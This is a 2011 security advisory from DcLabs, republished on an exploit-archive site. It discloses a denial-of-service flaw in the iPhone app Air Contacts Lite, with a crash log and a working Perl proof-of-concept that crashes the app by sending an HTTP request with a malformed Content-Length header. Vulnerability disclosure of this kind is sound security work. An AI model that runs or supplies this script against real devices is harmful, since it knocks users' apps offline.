首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Air Contacts Lite Denial Of Service
来源:http://www.dclabs.com.br 作者:Escobar 发布时间:2011-03-11  
[Discussion]

- DcLabs Security Research Group advises about the following vulnerability(ies):

[Software]

- Air Contacts Lite (By i-NOVATiON GmbH)

[Vendor Product Description]

- Sharing contacts can't be easier. Wireless access to your iPhone
contacts from your Mac or PC.
This is the Lite Version of Air Contacts. If you want more features
please upgrade to the normal version.

Source: �- http://itunes.apple.com/us/app/air-contacts-lite/id3084752

[Advisory Timeline]

- 01/26/2011 -> Advisory sent to vendor. (No response)
- 02/15/2011 -> Advisory sent again to vendor. (No response)
- 03/04/2011 -> Advisory published.

[Impact]

- Low

[Affected Version]

- Air Contacts Lite (Free Version)
- Paid version may also be vulnerable
- Prior versions may also be vulnerable

[Bug Description and Proof of Concept]

- While sending crafted HTTP packets the program does not treat
invalid requests entering in a NSException crashing the program.

<NSException>
Tue Jan 25 21:42:02 Program Name[23594] <Error>: *** Terminating app
due to uncaught exception 'NSInvalidArgumentException', reason: '***
-[NSConcreteData initWithBytes:length:copy:freeWhenDone:bytesAreVM:]:
absurd length: 4294967295, maximum size: 2147483648 bytes'
*** Call stack at first throw:
(
� � �0 � CoreFoundation � � � � � � � � � � �0x3048e987
__exceptionPreprocess + 114
� � �1 � libobjc.A.dylib � � � � � � � � � � 0x33a0849d
objc_exception_throw + 24
� � �2 � CoreFoundation � � � � � � � � � � �0x3048e7c9 +[NSException
raise:format:arguments:] + 68
� � �3 � CoreFoundation � � � � � � � � � � �0x3048e803 +[NSException
raise:format:] + 34
� � �4 � Foundation � � � � � � � � � � � � �0x302d2a51
-[NSConcreteData initWithBytes:length:copy:freeWhenDone:bytesAreVM:] +
108
� � �5 � Foundation � � � � � � � � � � � � �0x302df845
-[NSData(NSData) initWithBytes:length:] + 36
� � �6 � Foundation � � � � � � � � � � � � �0x302f224f
+[NSData(NSData) dataWithBytes:length:] + 34
� � �7 � Foundation � � � � � � � � � � � � �0x303216ab
_performFileHandleSource + 722
� � �8 � CoreFoundation
0x304447dd__CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ +
12
� � �9 � CoreFoundation � � � � � � � � � � �0x304165b7
__CFRunLoopDoSources0 + 382
� � �10 �CoreFoundation � � � � � � � � � � �0x30415e5b __CFRunLoopRun + 230
� � �11 �CoreFoundation � � � � � � � � � � �0x30415c87
CFRunLoopRunSpecific + 230
� � �12 �CoreFoundation � � � � � � � � � � �0x30415b8f CFRunLoopRunInMode + 58
� � �13 �GraphicsServices � � � � � � � � � �0x31eec4ab GSEventRunModal + 114
� � �14 �GraphicsServices � � � � � � � � � �0x31eec557 GSEventRun + 62
� � �15 �UIKit � � � � � � � � � � � � � � � 0x313cf329
-[UIApplication _run] + 412
� � �16 �UIKit � � � � � � � � � � � � � � � 0x313cce93 UIApplicationMain + 670
� � �17 �Program Name � � � � � � � � � 0x00002f07 main + 42
� � �18 �Program Name � � � � � � � � � 0x00002ea4 start + 52
)
<END NSException>

[PoC]

# Air contacts Lite (Denial of Service)
#!/usr/bin/perl
use IO::Socket;
� � � if (@ARGV < 1) {
� � � � � � � usage();
� � � }
� � � $ip � � = $ARGV[0];
� � � $port � = $ARGV[1];
� � � print "[+] Sending request...\n";
� � � $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
� � � print $socket "GET http://www.dclabs.com.br HTTP/1.1\r\n";
� � � print $socket "Host: http://www.dclabs.com.br\r\n";
� � � print $socket "Content-Length: 0\x78\x41\x71\x69\r\n\r\n";
� � � sleep(2);
� � � close($socket);
� � � print "[+] Done!\n";

sub usage() {
� � � print "[-] DcLabs - Air Contacts Lite (DoS)\n\n";
� � � print "[-] Usage: <". $0 ."> <host> <port>\n";
� � � print "[-] Example: ". $0 ." 127.0.0.1 80\n";
� � � exit;
}

All flaws described here were discovered and researched by:
Rodrigo Escobar aka ipax.
DcLabs Security Research Group
ipax (at) dclabs <dot> com <dot> br

[Patch(s) / Workaround]

No patch(s) / workaround(s) were provided.

[Greetz]

DcLabs Security Research Group.

--
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle MySQL for Microsoft Win
·KMPlayer 2.9.3 (.avi) Stack bu
·Novell iPrint Client ActiveX C
·Windows Movie Maker 2.1 (Impor
·Linux Kernel < 2.6.37-rc2 TCP_
·KMPlayer 2.9.3.1 APE Buffer Ov
·Media Player Classic 6.4.9.1 B
·QuickTime Player 7.5.x Buffer
·Jet Audio 5.1.5.2 APE Buffer O
·FreeBSD <= 6.4 Netgraph Local
·Linux NTP query client v4.2.6p
·maian weblog <= v4.0 remote bl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved